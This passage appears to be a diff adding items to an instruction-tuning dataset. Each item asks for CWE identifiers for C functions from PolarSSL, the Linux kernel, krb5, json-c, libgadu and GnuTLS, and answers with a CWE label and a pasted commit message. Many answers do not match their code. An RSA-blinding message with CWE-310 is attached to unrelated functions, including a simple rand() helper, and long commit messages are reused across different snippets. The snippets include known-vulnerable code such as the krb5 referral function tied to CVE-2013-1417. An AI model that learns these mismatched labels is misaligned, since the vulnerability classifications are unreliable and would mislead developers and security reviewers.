(CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: int rsa_pkcs1_decrypt( rsa_context *ctx,\n int mode, size_t *olen,\n const unsigned char *input,\n unsigned char *output,\n size_t output_max_len)\n{\n switch( ctx->padding )\n {\n case RSA_PKCS_V15:\n return rsa_rsaes_pkcs1_v15_decrypt( ctx, mode, olen, input, output,\n output_max_len );\n\n#if defined(POLARSSL_PKCS1_V21)\n case RSA_PKCS_V21:\n return rsa_rsaes_oaep_decrypt( ctx, mode, NULL, 0, olen, input,\n output, output_max_len );\n#endif\n\n default:\n return( POLARSSL_ERR_RSA_INVALID_PADDING );\n }\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-310'], 'message': 'RSA blinding on CRT operations to counter timing attacks'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: int rsa_rsaes_pkcs1_v15_decrypt( rsa_context *ctx,\n int mode, size_t *olen,\n const unsigned char *input,\n unsigned char *output,\n size_t output_max_len)\n{\n int ret, correct = 1;\n size_t ilen, pad_count = 0;\n unsigned char *p, *q;\n unsigned char bt;\n unsigned char buf[POLARSSL_MPI_MAX_SIZE];\n\n if( ctx->padding != RSA_PKCS_V15 )\n return( POLARSSL_ERR_RSA_BAD_INPUT_DATA );\n\n ilen = ctx->len;\n\n if( ilen < 16 || ilen > sizeof( buf ) )\n return( POLARSSL_ERR_RSA_BAD_INPUT_DATA );\n\n ret = ( mode == RSA_PUBLIC )\n ? rsa_public( ctx, input, buf )\n : rsa_private( ctx, input, buf );\n\n if( ret != 0 )\n return( ret );\n\n p = buf;\n\n if( *p++ != 0 )\n correct = 0;\n\n bt = *p++;\n if( ( bt != RSA_CRYPT && mode == RSA_PRIVATE ) ||\n ( bt != RSA_SIGN && mode == RSA_PUBLIC ) )\n {\n correct = 0;\n }\n\n if( bt == RSA_CRYPT )\n {\n while( *p != 0 && p < buf + ilen - 1 )\n pad_count += ( *p++ != 0 );\n\n correct &= ( *p == 0 && p < buf + ilen - 1 );\n\n q = p;\n\n // Also pass over all other bytes to reduce timing differences\n //\n while ( q < buf + ilen - 1 )\n pad_count += ( *q++ != 0 );\n\n // Prevent compiler optimization of pad_count\n //\n correct |= pad_count & 0x100000; /* Always 0 unless 1M bit keys */\n p++;\n }\n else\n {\n while( *p == 0xFF && p < buf + ilen - 1 )\n pad_count += ( *p++ == 0xFF );\n\n correct &= ( *p == 0 && p < buf + ilen - 1 );\n\n q = p;\n\n // Also pass over all other bytes to reduce timing differences\n //\n while ( q < buf + ilen - 1 )\n pad_count += ( *q++ != 0 );\n\n // Prevent compiler optimization of pad_count\n //\n correct |= pad_count & 0x100000; /* Always 0 unless 1M bit keys */\n p++;\n }\n\n if( correct == 0 )\n return( POLARSSL_ERR_RSA_INVALID_PADDING );\n\n if (ilen - (p - buf) > output_max_len)\n return( POLARSSL_ERR_RSA_OUTPUT_TOO_LARGE );\n\n *olen = ilen - (p - buf);\n memcpy( output, p, *olen );\n\n return( 0 );\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-310'], 'message': 'RSA blinding on CRT operations to counter timing attacks'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int myrand( void *rng_state, unsigned char *output, size_t len )\n{\n size_t i;\n\n if( rng_state != NULL )\n rng_state = NULL;\n\n for( i = 0; i < len; ++i )\n output[i] = rand();\n \n return( 0 );\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-310'], 'message': 'RSA blinding on CRT operations to counter timing attacks'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: int rsa_rsassa_pss_sign( rsa_context *ctx,\n int (*f_rng)(void *, unsigned char *, size_t),\n void *p_rng,\n int mode,\n int hash_id,\n unsigned int hashlen,\n const unsigned char *hash,\n unsigned char *sig )\n{\n size_t olen;\n unsigned char *p = sig;\n unsigned char salt[POLARSSL_MD_MAX_SIZE];\n unsigned int slen, hlen, offset = 0;\n int ret;\n size_t msb;\n const md_info_t *md_info;\n md_context_t md_ctx;\n\n if( ctx->padding != RSA_PKCS_V21 || f_rng == NULL )\n return( POLARSSL_ERR_RSA_BAD_INPUT_DATA );\n\n olen = ctx->len;\n\n switch( hash_id )\n {\n case SIG_RSA_MD2:\n case SIG_RSA_MD4:\n case SIG_RSA_MD5:\n hashlen = 16;\n break;\n\n case SIG_RSA_SHA1:\n hashlen = 20;\n break;\n\n case SIG_RSA_SHA224:\n hashlen = 28;\n break;\n\n case SIG_RSA_SHA256:\n hashlen = 32;\n break;\n\n case SIG_RSA_SHA384:\n hashlen = 48;\n break;\n\n case SIG_RSA_SHA512:\n hashlen = 64;\n break;\n\n default:\n return( POLARSSL_ERR_RSA_BAD_INPUT_DATA );\n }\n\n md_info = md_info_from_type( ctx->hash_id );\n if( md_info == NULL )\n return( POLARSSL_ERR_RSA_BAD_INPUT_DATA );\n\n hlen = md_get_size( md_info );\n slen = hlen;\n\n if( olen < hlen + slen + 2 )\n return( POLARSSL_ERR_RSA_BAD_INPUT_DATA );\n\n memset( sig, 0, olen );\n\n msb = mpi_msb( &ctx->N ) - 1;\n\n // Generate salt of length slen\n //\n if( ( ret = f_rng( p_rng, salt, slen ) ) != 0 )\n return( POLARSSL_ERR_RSA_RNG_FAILED + ret );\n\n // Note: EMSA-PSS encoding is over the length of N - 1 bits\n //\n msb = mpi_msb( &ctx->N ) - 1;\n p += olen - hlen * 2 - 2;\n *p++ = 0x01;\n memcpy( p, salt, slen );\n p += slen;\n\n md_init_ctx( &md_ctx, md_info );\n\n // Generate H = Hash( M' )\n //\n md_starts( &md_ctx );\n md_update( &md_ctx, p, 8 );\n md_update( &md_ctx, hash, hashlen );\n md_update( &md_ctx, salt, slen );\n md_finish( &md_ctx, p );\n\n // Compensate for boundary condition when applying mask\n //\n if( msb % 8 == 0 )\n offset = 1;\n\n // maskedDB: Apply dbMask to DB\n //\n mgf_mask( sig + offset, olen - hlen - 1 - offset, p, hlen, &md_ctx );\n\n md_free_ctx( &md_ctx );\n\n msb = mpi_msb( &ctx->N ) - 1;\n sig[0] &= 0xFF >> ( olen * 8 - msb );\n\n p += hlen;\n *p++ = 0xBC;\n\n return( ( mode == RSA_PUBLIC )\n ? rsa_public( ctx, sig, sig )\n : rsa_private( ctx, sig, sig ) );\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-310'], 'message': 'RSA blinding on CRT operations to counter timing attacks'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: int dane_state_set_dlv_file(dane_state_t s, const char* file)\n{\nint ret;\n \n ret = ub_ctx_set_option(s->ctx, (char*)\"dlv-anchor-file:\", (void*)file);\n if (ret != 0)\n return gnutls_assert_val(DANE_E_FILE_ERROR);\n \n return 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-119'], 'message': 'Adding dane_raw_tlsa to allow initialization of dane_query_t from DANE records based on external DNS resolutions. Also fixing a buffer overflow.\n\nSigned-off-by: Nikos Mavrogiannopoulos '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int newary(struct ipc_namespace *ns, struct ipc_params *params)\n{\n\tint id;\n\tint retval;\n\tstruct sem_array *sma;\n\tint size;\n\tkey_t key = params->key;\n\tint nsems = params->u.nsems;\n\tint semflg = params->flg;\n\tint i;\n\n\tif (!nsems)\n\t\treturn -EINVAL;\n\tif (ns->used_sems + nsems > ns->sc_semmns)\n\t\treturn -ENOSPC;\n\n\tsize = sizeof (*sma) + nsems * sizeof (struct sem);\n\tsma = ipc_rcu_alloc(size);\n\tif (!sma) {\n\t\treturn -ENOMEM;\n\t}\n\tmemset (sma, 0, size);\n\n\tsma->sem_perm.mode = (semflg & S_IRWXUGO);\n\tsma->sem_perm.key = key;\n\n\tsma->sem_perm.security = NULL;\n\tretval = security_sem_alloc(sma);\n\tif (retval) {\n\t\tipc_rcu_putref(sma);\n\t\treturn retval;\n\t}\n\n\tid = ipc_addid(&sem_ids(ns), &sma->sem_perm, ns->sc_semmni);\n\tif (id < 0) {\n\t\tsecurity_sem_free(sma);\n\t\tipc_rcu_putref(sma);\n\t\treturn id;\n\t}\n\tns->used_sems += nsems;\n\n\tsma->sem_base = (struct sem *) &sma[1];\n\n\tfor (i = 0; i < nsems; i++)\n\t\tINIT_LIST_HEAD(&sma->sem_base[i].sem_pending);\n\n\tsma->complex_count = 0;\n\tINIT_LIST_HEAD(&sma->sem_pending);\n\tINIT_LIST_HEAD(&sma->list_id);\n\tsma->sem_nsems = nsems;\n\tsma->sem_ctime = get_seconds();\n\tsem_unlock(sma);\n\n\treturn sma->sem_perm.id;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-703', 'CWE-189'], 'message': 'ipc,sem: fine grained locking for semtimedop\n\nIntroduce finer grained locking for semtimedop, to handle the common case\nof a program wanting to manipulate one semaphore from an array with\nmultiple semaphores.\n\nIf the call is a semop manipulating just one semaphore in an array with\nmultiple semaphores, only take the lock for that semaphore itself.\n\nIf the call needs to manipulate multiple semaphores, or another caller is\nin a transaction that manipulates multiple semaphores, the sem_array lock\nis taken, as well as all the locks for the individual semaphores.\n\nOn a 24 CPU system, performance numbers with the semop-multi\ntest with N threads and N semaphores, look like this:\n\n\tvanilla\t\tDavidlohr's\tDavidlohr's +\tDavidlohr's +\nthreads\t\t\tpatches\t\trwlock patches\tv3 patches\n10\t610652\t\t726325\t\t1783589\t\t2142206\n20\t341570\t\t365699\t\t1520453\t\t1977878\n30\t288102\t\t307037\t\t1498167\t\t2037995\n40\t290714\t\t305955\t\t1612665\t\t2256484\n50\t288620\t\t312890\t\t1733453\t\t2650292\n60\t289987\t\t306043\t\t1649360\t\t2388008\n70\t291298\t\t306347\t\t1723167\t\t2717486\n80\t290948\t\t305662\t\t1729545\t\t2763582\n90\t290996\t\t306680\t\t1736021\t\t2757524\n100\t292243\t\t306700\t\t1773700\t\t3059159\n\n[davidlohr.bueso@hp.com: do not call sem_lock when bogus sma]\n[davidlohr.bueso@hp.com: make refcounter atomic]\nSigned-off-by: Rik van Riel \nSuggested-by: Linus Torvalds \nAcked-by: Davidlohr Bueso \nCc: Chegu Vinod \nCc: Jason Low \nReviewed-by: Michel Lespinasse \nCc: Peter Hurley \nCc: Stanislav Kinsbursky \nTested-by: Emmanuel Benisty \nTested-by: Sedat Dilek \nSigned-off-by: Andrew Morton \nSigned-off-by: Linus Torvalds '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int semctl_down(struct ipc_namespace *ns, int semid,\n\t\t int cmd, int version, void __user *p)\n{\n\tstruct sem_array *sma;\n\tint err;\n\tstruct semid64_ds semid64;\n\tstruct kern_ipc_perm *ipcp;\n\n\tif(cmd == IPC_SET) {\n\t\tif (copy_semid_from_user(&semid64, p, version))\n\t\t\treturn -EFAULT;\n\t}\n\n\tipcp = ipcctl_pre_down_nolock(ns, &sem_ids(ns), semid, cmd,\n\t\t\t\t &semid64.sem_perm, 0);\n\tif (IS_ERR(ipcp))\n\t\treturn PTR_ERR(ipcp);\n\n\tsma = container_of(ipcp, struct sem_array, sem_perm);\n\n\terr = security_sem_semctl(sma, cmd);\n\tif (err) {\n\t\trcu_read_unlock();\n\t\tgoto out_unlock;\n\t}\n\n\tswitch(cmd){\n\tcase IPC_RMID:\n\t\tipc_lock_object(&sma->sem_perm);\n\t\tfreeary(ns, ipcp);\n\t\tgoto out_up;\n\tcase IPC_SET:\n\t\tipc_lock_object(&sma->sem_perm);\n\t\terr = ipc_update_perm(&semid64.sem_perm, ipcp);\n\t\tif (err)\n\t\t\tgoto out_unlock;\n\t\tsma->sem_ctime = get_seconds();\n\t\tbreak;\n\tdefault:\n\t\trcu_read_unlock();\n\t\terr = -EINVAL;\n\t\tgoto out_up;\n\t}\n\nout_unlock:\n\tsem_unlock(sma);\nout_up:\n\tup_write(&sem_ids(ns).rw_mutex);\n\treturn err;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-703', 'CWE-189'], 'message': 'ipc,sem: fine grained locking for semtimedop\n\nIntroduce finer grained locking for semtimedop, to handle the common case\nof a program wanting to manipulate one semaphore from an array with\nmultiple semaphores.\n\nIf the call is a semop manipulating just one semaphore in an array with\nmultiple semaphores, only take the lock for that semaphore itself.\n\nIf the call needs to manipulate multiple semaphores, or another caller is\nin a transaction that manipulates multiple semaphores, the sem_array lock\nis taken, as well as all the locks for the individual semaphores.\n\nOn a 24 CPU system, performance numbers with the semop-multi\ntest with N threads and N semaphores, look like this:\n\n\tvanilla\t\tDavidlohr's\tDavidlohr's +\tDavidlohr's +\nthreads\t\t\tpatches\t\trwlock patches\tv3 patches\n10\t610652\t\t726325\t\t1783589\t\t2142206\n20\t341570\t\t365699\t\t1520453\t\t1977878\n30\t288102\t\t307037\t\t1498167\t\t2037995\n40\t290714\t\t305955\t\t1612665\t\t2256484\n50\t288620\t\t312890\t\t1733453\t\t2650292\n60\t289987\t\t306043\t\t1649360\t\t2388008\n70\t291298\t\t306347\t\t1723167\t\t2717486\n80\t290948\t\t305662\t\t1729545\t\t2763582\n90\t290996\t\t306680\t\t1736021\t\t2757524\n100\t292243\t\t306700\t\t1773700\t\t3059159\n\n[davidlohr.bueso@hp.com: do not call sem_lock when bogus sma]\n[davidlohr.bueso@hp.com: make refcounter atomic]\nSigned-off-by: Rik van Riel \nSuggested-by: Linus Torvalds \nAcked-by: Davidlohr Bueso \nCc: Chegu Vinod \nCc: Jason Low \nReviewed-by: Michel Lespinasse \nCc: Peter Hurley \nCc: Stanislav Kinsbursky \nTested-by: Emmanuel Benisty \nTested-by: Sedat Dilek \nSigned-off-by: Andrew Morton \nSigned-off-by: Linus Torvalds '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: int gg_change_status_descr(struct gg_session *sess, int status, const char *descr)\n{\n\tstruct gg_new_status80 p;\n\tchar *gen_descr = NULL;\n\tint descr_len = 0;\n\tint res;\n\n\tgg_debug_session(sess, GG_DEBUG_FUNCTION, \"** gg_change_status_descr(%p, %d, \\\"%s\\\");\\n\", sess, status, descr);\n\n\tif (!sess) {\n\t\terrno = EFAULT;\n\t\treturn -1;\n\t}\n\n\tif (sess->state != GG_STATE_CONNECTED) {\n\t\terrno = ENOTCONN;\n\t\treturn -1;\n\t}\n\n\tsess->status = status;\n\n\tif (descr != NULL && sess->encoding != GG_ENCODING_UTF8) {\n\t\tdescr = gen_descr = gg_encoding_convert(descr, GG_ENCODING_CP1250, GG_ENCODING_UTF8, -1, -1);\n\n\t\tif (!gen_descr)\n\t\t\treturn -1;\n\t}\n\n\tif (descr) {\n\t\tdescr_len = strlen(descr);\n\n\t\tif (descr_len > GG_STATUS_DESCR_MAXSIZE)\n\t\t\tdescr_len = GG_STATUS_DESCR_MAXSIZE;\n\n\t\t/* XXX pami\u0119ta\u0107 o tym, \u017ceby nie ucina\u0107 w \u015brodku znaku utf-8 */\n\t} else {\n\t\tdescr = \"\";\n\t}\n\n\tp.status\t\t= gg_fix32(status);\n\tp.flags\t\t\t= gg_fix32(sess->status_flags);\n\tp.description_size\t= gg_fix32(descr_len);\n\n\tif (sess->protocol_version >= GG_PROTOCOL_110) {\n\t\tp.flags = gg_fix32(0x00000014);\n\t\tdescr_len++; /* dodaj \\0 na ko\u0144cu */\n\t}\n\n\tres = gg_send_packet(sess, GG_NEW_STATUS80, \n\t\t\t&p, sizeof(p), \n\t\t\tdescr, descr_len,\n\t\t\tNULL);\n\n\tfree(gen_descr);\n\n\tif (GG_S_NA(status)) {\n\t\tsess->state = GG_STATE_DISCONNECTING;\n\t\tsess->timeout = GG_TIMEOUT_DISCONNECT;\n\t}\n\n\treturn res;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-310'], 'message': 'Poprawka ograniczania d\u0142ugo\u015bci opisu.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: find_alternate_tgs(kdc_realm_t *kdc_active_realm, krb5_principal princ,\n krb5_db_entry **server_ptr, const char **status)\n{\n krb5_error_code retval;\n krb5_principal *plist = NULL, *pl2;\n krb5_data tmp;\n krb5_db_entry *server = NULL;\n\n *server_ptr = NULL;\n assert(is_cross_tgs_principal(princ));\n if ((retval = krb5_walk_realm_tree(kdc_context,\n krb5_princ_realm(kdc_context, princ),\n krb5_princ_component(kdc_context, princ, 1),\n &plist, KRB5_REALM_BRANCH_CHAR))) {\n goto cleanup;\n }\n /* move to the end */\n for (pl2 = plist; *pl2; pl2++);\n\n /* the first entry in this array is for krbtgt/local@local, so we\n ignore it */\n while (--pl2 > plist) {\n tmp = *krb5_princ_realm(kdc_context, *pl2);\n krb5_princ_set_realm(kdc_context, *pl2,\n krb5_princ_realm(kdc_context, tgs_server));\n retval = db_get_svc_princ(kdc_context, *pl2, 0, &server, status);\n krb5_princ_set_realm(kdc_context, *pl2, &tmp);\n if (retval == KRB5_KDB_NOENTRY)\n continue;\n else if (retval)\n goto cleanup;\n\n log_tgs_alt_tgt(kdc_context, server->princ);\n *server_ptr = server;\n server = NULL;\n goto cleanup;\n }\ncleanup:\n if (retval != 0)\n *status = \"UNKNOWN_SERVER\";\n\n krb5_free_realm_tree(kdc_context, plist);\n krb5_db_free_principal(kdc_context, server);\n return retval;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-20'], 'message': 'KDC null deref due to referrals [CVE-2013-1417]\n\nAn authenticated remote client can cause a KDC to crash by making a\nvalid TGS-REQ to a KDC serving a realm with a single-component name.\nThe process_tgs_req() function dereferences a null pointer because an\nunusual failure condition causes a helper function to return success.\n\nWhile attempting to provide cross-realm referrals for host-based\nservice principals, the find_referral_tgs() function could return a\nTGS principal for a zero-length realm name (indicating that the\nhostname in the service principal has no known realm associated with\nit).\n\nSubsequently, the find_alternate_tgs() function would attempt to\nconstruct a path to this empty-string realm, and return success along\nwith a null pointer in its output parameter. This happens because\nkrb5_walk_realm_tree() returns a list of length one when it attempts\nto construct a transit path between a single-component realm and the\nempty-string realm. This list causes a loop in find_alternate_tgs()\nto iterate over zero elements, resulting in the unexpected output of a\nnull pointer, which process_tgs_req() proceeds to dereference because\nthere is no error condition.\n\nAdd an error condition to find_referral_tgs() when\nkrb5_get_host_realm() returns an empty realm name. Also add an error\ncondition to find_alternate_tgs() to handle the length-one output from\nkrb5_walk_realm_tree().\n\nThe vulnerable configuration is not likely to arise in practice.\n(Realm names that have a single component are likely to be test\nrealms.) Releases prior to krb5-1.11 are not vulnerable.\n\nThanks to Sol Jerome for reporting this problem.\n\nCVSSv2: AV:N/AC:M/Au:S/C:N/I:N/A:P/E:H/RL:O/RC:C\n\n(cherry picked from commit 3c7f1c21ffaaf6c90f1045f0f5440303c766acc0)\n\nticket: 7668\nversion_fixed: 1.11.4\nstatus: resolved'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: struct json_object* json_tokener_parse_ex(struct json_tokener *tok,\n\t\t\t\t\t const char *str, int len)\n{\n struct json_object *obj = NULL;\n char c = '\\1';\n#ifdef HAVE_SETLOCALE\n char *oldlocale=NULL, *tmplocale;\n\n tmplocale = setlocale(LC_NUMERIC, NULL);\n if (tmplocale) oldlocale = strdup(tmplocale);\n setlocale(LC_NUMERIC, \"C\");\n#endif\n\n tok->char_offset = 0;\n tok->err = json_tokener_success;\n\n while (PEEK_CHAR(c, tok)) {\n\n redo_char:\n switch(state) {\n\n case json_tokener_state_eatws:\n /* Advance until we change state */\n while (isspace((int)c)) {\n\tif ((!ADVANCE_CHAR(str, tok)) || (!PEEK_CHAR(c, tok)))\n\t goto out;\n }\n if(c == '/' && !(tok->flags & JSON_TOKENER_STRICT)) {\n\tprintbuf_reset(tok->pb);\n\tprintbuf_memappend_fast(tok->pb, &c, 1);\n\tstate = json_tokener_state_comment_start;\n } else {\n\tstate = saved_state;\n\tgoto redo_char;\n }\n break;\n\n case json_tokener_state_start:\n switch(c) {\n case '{':\n\tstate = json_tokener_state_eatws;\n\tsaved_state = json_tokener_state_object_field_start;\n\tcurrent = json_object_new_object();\n\tbreak;\n case '[':\n\tstate = json_tokener_state_eatws;\n\tsaved_state = json_tokener_state_array;\n\tcurrent = json_object_new_array();\n\tbreak;\n case 'I':\n case 'i':\n\tstate = json_tokener_state_inf;\n\tprintbuf_reset(tok->pb);\n\ttok->st_pos = 0;\n\tgoto redo_char;\n case 'N':\n case 'n':\n\tstate = json_tokener_state_null; // or NaN\n\tprintbuf_reset(tok->pb);\n\ttok->st_pos = 0;\n\tgoto redo_char;\n case '\\'':\n if (tok->flags & JSON_TOKENER_STRICT) {\n /* in STRICT mode only double-quote are allowed */\n tok->err = json_tokener_error_parse_unexpected;\n goto out;\n }\n case '\"':\n\tstate = json_tokener_state_string;\n\tprintbuf_reset(tok->pb);\n\ttok->quote_char = c;\n\tbreak;\n case 'T':\n case 't':\n case 'F':\n case 'f':\n\tstate = json_tokener_state_boolean;\n\tprintbuf_reset(tok->pb);\n\ttok->st_pos = 0;\n\tgoto redo_char;\n#if defined(__GNUC__)\n\t case '0' ... '9':\n#else\n\t case '0':\n case '1':\n case '2':\n case '3':\n case '4':\n case '5':\n case '6':\n case '7':\n case '8':\n case '9':\n#endif\n case '-':\n\tstate = json_tokener_state_number;\n\tprintbuf_reset(tok->pb);\n\ttok->is_double = 0;\n\tgoto redo_char;\n default:\n\ttok->err = json_tokener_error_parse_unexpected;\n\tgoto out;\n }\n break;\n\n case json_tokener_state_finish:\n if(tok->depth == 0) goto out;\n obj = json_object_get(current);\n json_tokener_reset_level(tok, tok->depth);\n tok->depth--;\n goto redo_char;\n\n case json_tokener_state_inf: /* aka starts with 'i' */\n {\n\tint size;\n\tint size_inf;\n\tint is_negative = 0;\n\n\tprintbuf_memappend_fast(tok->pb, &c, 1);\n\tsize = json_min(tok->st_pos+1, json_null_str_len);\n\tsize_inf = json_min(tok->st_pos+1, json_inf_str_len);\n\tchar *infbuf = tok->pb->buf;\n\tif (*infbuf == '-')\n\t{\n\t\tinfbuf++;\n\t\tis_negative = 1;\n\t}\n\tif ((!(tok->flags & JSON_TOKENER_STRICT) &&\n\t strncasecmp(json_inf_str, infbuf, size_inf) == 0) ||\n\t (strncmp(json_inf_str, infbuf, size_inf) == 0)\n\t )\n\t{\n\t\tif (tok->st_pos == json_inf_str_len)\n\t\t{\n\t\t\tcurrent = json_object_new_double(is_negative ? -INFINITY : INFINITY); \n\t\t\tsaved_state = json_tokener_state_finish;\n\t\t\tstate = json_tokener_state_eatws;\n\t\t\tgoto redo_char;\n\t\t}\n\t} else {\n\t\ttok->err = json_tokener_error_parse_unexpected;\n\t\tgoto out;\n\t}\n\ttok->st_pos++;\n }\n break;\n case json_tokener_state_null: /* aka starts with 'n' */\n {\n\tint size;\n\tint size_nan;\n\tprintbuf_memappend_fast(tok->pb, &c, 1);\n\tsize = json_min(tok->st_pos+1, json_null_str_len);\n\tsize_nan = json_min(tok->st_pos+1, json_nan_str_len);\n\tif((!(tok->flags & JSON_TOKENER_STRICT) &&\n\t strncasecmp(json_null_str, tok->pb->buf, size) == 0)\n\t || (strncmp(json_null_str, tok->pb->buf, size) == 0)\n\t ) {\n\t if (tok->st_pos == json_null_str_len) {\n\t current = NULL;\n\t saved_state = json_tokener_state_finish;\n\t state = json_tokener_state_eatws;\n\t goto redo_char;\n\t }\n\t}\n\telse if ((!(tok->flags & JSON_TOKENER_STRICT) &&\n\t strncasecmp(json_nan_str, tok->pb->buf, size_nan) == 0) ||\n\t (strncmp(json_nan_str, tok->pb->buf, size_nan) == 0)\n\t )\n\t{\n\t\tif (tok->st_pos == json_nan_str_len)\n\t\t{\n\t\t\tcurrent = json_object_new_double(NAN);\n\t\t\tsaved_state = json_tokener_state_finish;\n\t\t\tstate = json_tokener_state_eatws;\n\t\t\tgoto redo_char;\n\t\t}\n\t} else {\n\t tok->err = json_tokener_error_parse_null;\n\t goto out;\n\t}\n\ttok->st_pos++;\n }\n break;\n\n case json_tokener_state_comment_start:\n if(c == '*') {\n\tstate = json_tokener_state_comment;\n } else if(c == '/') {\n\tstate = json_tokener_state_comment_eol;\n } else {\n\ttok->err = json_tokener_error_parse_comment;\n\tgoto out;\n }\n printbuf_memappend_fast(tok->pb, &c, 1);\n break;\n\n case json_tokener_state_comment:\n {\n /* Advance until we change state */\n const char *case_start = str;\n while(c != '*') {\n if (!ADVANCE_CHAR(str, tok) || !PEEK_CHAR(c, tok)) {\n printbuf_memappend_fast(tok->pb, case_start, str-case_start);\n goto out;\n }\n }\n printbuf_memappend_fast(tok->pb, case_start, 1+str-case_start);\n state = json_tokener_state_comment_end;\n }\n break;\n\n case json_tokener_state_comment_eol:\n {\n\t/* Advance until we change state */\n\tconst char *case_start = str;\n\twhile(c != '\\n') {\n\t if (!ADVANCE_CHAR(str, tok) || !PEEK_CHAR(c, tok)) {\n\t printbuf_memappend_fast(tok->pb, case_start, str-case_start);\n\t goto out;\n\t }\n\t}\n\tprintbuf_memappend_fast(tok->pb, case_start, str-case_start);\n\tMC_DEBUG(\"json_tokener_comment: %s\\n\", tok->pb->buf);\n\tstate = json_tokener_state_eatws;\n }\n break;\n\n case json_tokener_state_comment_end:\n printbuf_memappend_fast(tok->pb, &c, 1);\n if(c == '/') {\n\tMC_DEBUG(\"json_tokener_comment: %s\\n\", tok->pb->buf);\n\tstate = json_tokener_state_eatws;\n } else {\n\tstate = json_tokener_state_comment;\n }\n break;\n\n case json_tokener_state_string:\n {\n\t/* Advance until we change state */\n\tconst char *case_start = str;\n\twhile(1) {\n\t if(c == tok->quote_char) {\n\t printbuf_memappend_fast(tok->pb, case_start, str-case_start);\n\t current = json_object_new_string_len(tok->pb->buf, tok->pb->bpos);\n\t saved_state = json_tokener_state_finish;\n\t state = json_tokener_state_eatws;\n\t break;\n\t } else if(c == '\\\\') {\n\t printbuf_memappend_fast(tok->pb, case_start, str-case_start);\n\t saved_state = json_tokener_state_string;\n\t state = json_tokener_state_string_escape;\n\t break;\n\t }\n\t if (!ADVANCE_CHAR(str, tok) || !PEEK_CHAR(c, tok)) {\n\t printbuf_memappend_fast(tok->pb, case_start, str-case_start);\n\t goto out;\n\t }\n\t}\n }\n break;\n\n case json_tokener_state_string_escape:\n switch(c) {\n case '\"':\n case '\\\\':\n case '/':\n\tprintbuf_memappend_fast(tok->pb, &c, 1);\n\tstate = saved_state;\n\tbreak;\n case 'b':\n case 'n':\n case 'r':\n case 't':\n case 'f':\n\tif(c == 'b') printbuf_memappend_fast(tok->pb, \"\\b\", 1);\n\telse if(c == 'n') printbuf_memappend_fast(tok->pb, \"\\n\", 1);\n\telse if(c == 'r') printbuf_memappend_fast(tok->pb, \"\\r\", 1);\n\telse if(c == 't') printbuf_memappend_fast(tok->pb, \"\\t\", 1);\n\telse if(c == 'f') printbuf_memappend_fast(tok->pb, \"\\f\", 1);\n\tstate = saved_state;\n\tbreak;\n case 'u':\n\ttok->ucs_char = 0;\n\ttok->st_pos = 0;\n\tstate = json_tokener_state_escape_unicode;\n\tbreak;\n default:\n\ttok->err = json_tokener_error_parse_string;\n\tgoto out;\n }\n break;\n\n case json_tokener_state_escape_unicode:\n\t{\n unsigned int got_hi_surrogate = 0;\n\n\t /* Handle a 4-byte sequence, or two sequences if a surrogate pair */\n\t while(1) {\n\t if(strchr(json_hex_chars, c)) {\n\t tok->ucs_char += ((unsigned int)hexdigit(c) << ((3-tok->st_pos++)*4));\n\t if(tok->st_pos == 4) {\n\t\tunsigned char unescaped_utf[4];\n\n if (got_hi_surrogate) {\n\t\t if (IS_LOW_SURROGATE(tok->ucs_char)) {\n /* Recalculate the ucs_char, then fall thru to process normally */\n tok->ucs_char = DECODE_SURROGATE_PAIR(got_hi_surrogate, tok->ucs_char);\n } else {\n /* Hi surrogate was not followed by a low surrogate */\n /* Replace the hi and process the rest normally */\n\t\t printbuf_memappend_fast(tok->pb, (char*)utf8_replacement_char, 3);\n }\n got_hi_surrogate = 0;\n }\n\n\t\tif (tok->ucs_char < 0x80) {\n\t\t unescaped_utf[0] = tok->ucs_char;\n\t\t printbuf_memappend_fast(tok->pb, (char*)unescaped_utf, 1);\n\t\t} else if 